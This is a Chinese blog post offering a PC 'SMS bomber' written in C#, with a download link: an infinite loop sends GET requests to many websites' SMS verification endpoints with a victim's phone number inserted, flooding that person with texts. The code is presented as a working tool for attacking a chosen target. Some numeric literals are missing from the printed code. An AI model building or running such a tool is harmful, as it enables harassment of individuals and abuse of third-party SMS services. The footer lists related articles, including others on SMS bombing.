前言

  之前用过android版短信轰炸的apk,于是想反编apk查看源码找短信接口,做一个PC版本的,不料反编失败。后不了了之...

  昨日逛论坛时无意中看到一个网站有此功能,打开一试究竟,效果可以,于是立即把这个功能调用的所有url拷贝下来,做了一个简易版。

  效果图:

  

正文

  短信接口地址:链接(接口地址不是特别多,测试最多接收几十条短信,每个地址之间已经用@分开,连接中的 手机号 三个就是要轰炸人的手机号)

  原理:循环每一个链接,发送get请求,返回结果。(被轰人接收短信的数量跟他在各个网站账号中使用自己手机号的次数成正比)
  问题:结果的显示不是很准确,暂时没有办法判断被轰人是否已接受短信。
  直接贴代码:
  

  1. private delegate void DelegateFun(object obj);
  2. private Thread thread = null;
  3. /// <summary>
  4. /// 发送
  5. /// </summary>
  6. /// <param name="sender"></param>
  7. /// <param name="e"></param>
  8. private void btnSend_Click(object sender, EventArgs e)
  9. {
  10. if (thread != null)
  11. {
  12. thread.Abort();
  13. }
  14. txtResult.Text = "";
  15. if (!CheckData())
  16. {
  17. return;
  18. }
  19.  
  20. thread = new Thread(new ParameterizedThreadStart(CrossThreadFlush));
  21. thread.IsBackground = true;
  22. thread.Start(txtPhoneID.Text.Trim());
  23. }
  24. /// <summary>
  25. /// 停止
  26. /// </summary>
  27. /// <param name="sender"></param>
  28. /// <param name="e"></param>
  29. private void btnStop_Click(object sender, EventArgs e)
  30. {
  31. if (thread != null)
  32. {
  33. thread.Abort();
  34. }
  35. }
  36. /// <summary>
  37. /// 退出
  38. /// </summary>
  39. /// <param name="sender"></param>
  40. /// <param name="e"></param>
  41. private void btnExit_Click(object sender, EventArgs e)
  42. {
  43. Application.Exit();
  44. }
  45. /// <summary>
  46. /// 线程
  47. /// </summary>
  48. /// <param name="phoneID"></param>
  49. private void CrossThreadFlush(object phoneID)
  50. {
  51. while (true)
  52. {
  53. //将sleep和无限循环放在等待异步的外面
  54. Thread.Sleep();
  55. ThreadFunction(phoneID);
  56. }
  57. }
  58. /// <summary>
  59. /// 线程
  60. /// </summary>
  61. /// <param name="phoneID"></param>
  62. private void ThreadFunction(object phoneID)
  63. {
  64. SendRequest(phoneID);
  65. }
  66. private void DelegateSetValue(object resultIndex)
  67. {
  68. if (resultIndex == null || resultIndex.ToString() == "")
  69. {
  70. return;
  71. }
  72. string[] resArray = resultIndex.ToString().Split(',');
  73. StringBuilder sbResult = new StringBuilder("");
  74. sbResult.AppendFormat("成功 {0} 次\r\n", resArray[]);
  75. sbResult.AppendFormat("不确定 {0} 次\r\n", resArray[]);
  76. sbResult.AppendFormat("失败数 {0} 次\r\n", resArray[]);
  77. int total = Convert.ToInt32(resArray[]) + Convert.ToInt32(resArray[]) + Convert.ToInt32(resArray[]);
  78. sbResult.AppendFormat("共轰击 {0} 次\r\n", total);
  79. this.txtResult.Text = sbResult.ToString();
  80. }
  81.  
  82. private void SendRequest(object phoneID)
  83. {
  84. string url = GetUrl();
  85. int successIndex = ;//成功条数
  86. int nullIndex = ;//不确定条数
  87. int failIndex = ;//失败条数
  88. string[] arrStr = url.Split('@');
  89.  
  90. foreach (var item in arrStr)
  91. {
  92. if (string.IsNullOrEmpty(item))
  93. {
  94. continue;
  95. }
  96. try
  97. {
  98. string urlLast = item.Replace("\r\n", "").Replace("手机号", phoneID.ToString());
  99. string result = PostDataToUrl("", urlLast);
  100. if (!string.IsNullOrEmpty(result))
  101. {
  102. if (txtResult.InvokeRequired)
  103. {
  104. successIndex++;
  105. DelegateFun d = new DelegateFun(DelegateSetValue);
  106. txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
  107. }
  108. }
  109. else
  110. {
  111. if (txtResult.InvokeRequired)
  112. {
  113. nullIndex++;
  114. DelegateFun d = new DelegateFun(DelegateSetValue);
  115. txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
  116. }
  117. }
  118. }
  119. catch (Exception)
  120. {
  121. if (txtResult.InvokeRequired)
  122. {
  123. failIndex++;
  124. DelegateFun d = new DelegateFun(DelegateSetValue);
  125. txtResult.Invoke(d, successIndex + "," + nullIndex + "," + failIndex);
  126. }
  127. continue;
  128. }
  129. }
  130. }
  131. /// <summary>
  132. /// 发送get请求
  133. /// </summary>
  134. /// <param name="postDataStr"></param>
  135. /// <param name="Url"></param>
  136. /// <returns></returns>
  137. private string PostDataToUrl(string postDataStr, string Url)
  138. {
  139. HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url + (postDataStr == "" ? "" : "?") + postDataStr);
  140.  
  141. request.Method = "GET";
  142. request.ContentType = "text/html;charset=UTF-8";
  143. HttpWebResponse response = (HttpWebResponse)request.GetResponse();
  144. Stream myResponseStream = response.GetResponseStream();
  145. StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
  146. string retString = myStreamReader.ReadToEnd();
  147. myStreamReader.Close();
  148. myResponseStream.Close();
  149.  
  150. return retString;
  151. }
  152. /// <summary>
  153. /// 数据校验
  154. /// </summary>
  155. /// <returns></returns>
  156. private bool CheckData()
  157. {
  158.  
  159. if (string.IsNullOrEmpty(txtPhoneID.Text.Trim()))
  160. {
  161. txtPhoneID.Focus();
  162. errorProPhone.SetError(txtPhoneID, "输入手机号");
  163. return false;
  164. }
  165. else
  166. {
  167. errorProPhone.Clear();
  168. }
  169. return true;
  170. }
  171. /// <summary>
  172. /// 获取短信接口
  173. /// </summary>
  174. /// <returns></returns>
  175. private string GetUrl()
  176. {
  177. string url = @"短信接口地址(附件中链接贴过来)";
  178. return url;
  179. }

  应用下载:轰死人补偿命

  附 原地址:http://www.zhasini.ml/

短信轰炸PC版的更多相关文章

  1. 使用python进行短信轰炸

    本文作者:i春秋作家——Hacker1ee 大家好,我是1ee(因为在作家群,就不加Hacker这个前缀了,怕被大佬打..) 刚加入i春秋作家组希望大家多多关照,也欢迎大家找我交流 今天我来讲讲我最近 ...

  2. 关于前端XSS攻击、短信轰炸等问题

    关于前端的XSS攻击: 这里有一篇Ryf老师的写的关于使用  Content Security Policy (简称 CSP 防御)来防御xss攻击,简单来说就是设置白名单,告诉浏览器哪些链接.内容是 ...

  3. 手把手教你实现"短信轰炸"

    手把手教你实现"短信轰炸" 我这里采用简单易懂的语言--"Python3"来实现   实现前的准备:             1,电脑,谷歌浏览器 2,pyth ...

  4. 挖穿各大SRC的短信轰炸

    今天给大家分享一个短信轰炸绕过的姿势,大疆.百度.腾讯等等src都有用此方法绕过的案例. 给大家看一下 这里就不给大家截图了,在src中提交的截图都没有打码,这里放出来不太方便. 这里就只举出大疆的例 ...

  5. 腾讯云短信SDK-精简版

    /** * 腾讯云短信SDK-精简版 * 本模块使用-向腾讯云短信服务器发送请求 * @return json 腾讯服务器返回值-json字符串 */ private function send_sm ...

  6. 遇到短信轰炸,别人换ip调你的短信接口怎么办

    前端开发者很容易暴露自己的请求地址和参数,我们都知道,一个h5页面,按 F12 是可以看到页面的源码的,所以经常很多人会利用这一点恶意调取别人的接口. 我们公司出现了好多次短信接口被大量调用,导致一天 ...

  7. 腾讯短信服务精简版(PHP )

    短信视乎已经被慢慢淡出平常的交流工具队列,但始终抹不去它的存在,短信验证码视乎从未被取代,此外在重要的信息通知的地位也是不可取的的.所以了解短信的使用是开发中很有必要的一环. 腾讯云的短信服务提供有1 ...

  8. 阿里云短信服务Java版

    短信服务管理平台 https://dysms.console.aliyun.com/dysms.htm java短信发送API    https://help.aliyun.com/document_ ...

  9. 利用阿里大于实现发送短信(JAVA版)

    本文是我自己的亲身实践得来,喜欢的朋 友别忘了点个赞哦! 最近整理了一下利用阿里大于短信平台来实现发送短信功能. 闲话不多说,直接开始吧. 首先,要明白利用大于发送短信这件事是由两部分组成: 一.在阿 ...

随机推荐

  1. ls常用参数

    ls常用参数详解 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 玩Linux的老司机们每天都要敲的命令,但是这个鸡蛋的命令还有很多中玩法哟~跟着我一起敲一遍吧!在这里我就列举几个常 ...

  2. [转]MySQL数据库引擎介绍、区别、创建和性能测试的深入分析

    本篇文章是对MySQL数据库引擎介绍.区别.创建和性能测试进行了详细的分析介绍,需要的朋友参考下   数据库引擎介绍 MySQL数据库引擎取决于MySQL在安装的时候是如何被编译的.要添加一个新的引擎 ...

  3. android命令安装apk时报错:INSTALL_FAILED_CPU_ABI_INCOMPATIBLE

    点击下载Genymotion-ARM-Translation.zip 将你的虚拟器运行起来,将下载好的zip包用鼠标拖到虚拟机窗口中,出现确认对跨框点OK就行.然后重启你的虚拟机.

  4. xla_events

    LOOKUP_TYPE LANGUAGE LOOKUP_CODE MEANING DESCRIPTION XLA_EVENT_PROCESS_STATUS US D Draft Draft XLA_E ...

  5. PAT乙级 1023. 组个最小数 (20)

    1023. 组个最小数 (20) 时间限制 100 ms 内存限制 65536 kB 代码长度限制 8000 B 判题程序 Standard 作者 CAO, Peng 给定数字0-9各若干个.你可以以 ...

  6. linux中模块的相关操作

    /lib/modules/[kernel版本]/modules.dep 这个文件记录了模块的依赖关系 modprobe 和 insmod 这两个命令都可以加载模块,但是modeprobe会自动分析模块 ...

  7. win7 64位系统下 PL/SQL无法连接的问题

    第一步:下载oracle客户端 由于 PLSQL Developer 没有64位版本,所以在64位系统上运行该程链接64位Oracle时就会报错,笔者为这个问题纠结了好几天,后来通过请教Google ...

  8. 学习K&R时初学者经常遇到的一个问题——EOF

    学习K&R时初学者经常遇到的一个问题——EOF

  9. 图像处理工具包ImagXpress中如何定义查看器的属性

    想要在图像处理控件ImagXpress中查看一个图像,首先需要创建一个查看器,之后你可以按照你自身的需要,来定义查看器的属性. 创建查看器 想要动态的创建一个查看器,需要先定义一个新的mageXVie ...

  10. js正则函数match、exec、test、search、replace、split使用介绍集合

    match 方法 使用正则表达式模式对字符串执行查找,并将包含查找的结果作为数组返回. stringObj.match(rgExp) 参数 stringObj 必选项.对其进行查找的 String 对 ...